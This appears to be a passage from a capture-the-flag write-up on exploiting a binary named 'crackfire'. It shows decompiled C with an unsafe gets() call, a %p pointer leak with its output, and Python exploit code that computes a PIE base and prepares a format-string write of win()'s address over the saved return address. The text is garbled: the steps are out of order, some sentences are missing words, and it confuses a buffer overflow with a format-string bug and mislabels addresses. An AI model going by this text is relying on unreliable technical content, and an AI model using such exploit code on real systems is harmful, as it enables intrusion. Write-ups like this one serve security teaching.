We’ll use the syntax to reference the n‑th argument directly. 7. Crafting the write payload We want to write the address of win (e.g., 0x5555555552f0 ) into the saved RIP located at stack position 3 (the third argument after the format string).

Even though the source isn’t present, the symbols make this clear. Open crackfire in Ghidra (or IDA) and locate the main routine.

%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p Output (truncated):

int main() char buf[64]; puts("Enter the secret code:"); gets(buf); // <-- vulnerable if (check(buf) == 0) win(); else puts("Invalid");

0x7ffff7a5e000 0x4006f0 0x7ffff7dd18b0 0x4008b0 0x0 0x1 The first pointer ( 0x7ffff7a5e000 ) is a ; the second ( 0x4006f0 ) is _start – an address inside the binary, which is enough to compute the base.

# ---------------------------------------------------------------------- # 2. Build format‑string payload # ---------------------------------------------------------------------- low = win & 0xffffffff high = win >> 32

def get_base(p): """Leak a known symbol (e.g., _start) to compute PIE base.""" # _start is at offset 0x4000 from base (found via readelf) leak = leak_address(p, "%p %p %p %p %p %p") # The second pointer (index 1) is usually _start in this binary # Adjust as needed by inspecting the output. # For illustration we assume leak is the PIE base directly. base = leak - elf.sym['_start'] log.success(f"PIE base: hex(base)") return base

The binary is compiled PIE, so we need to of _start (found via readelf -s crackfire | grep _start → 0x4006f0 ) to get the load address: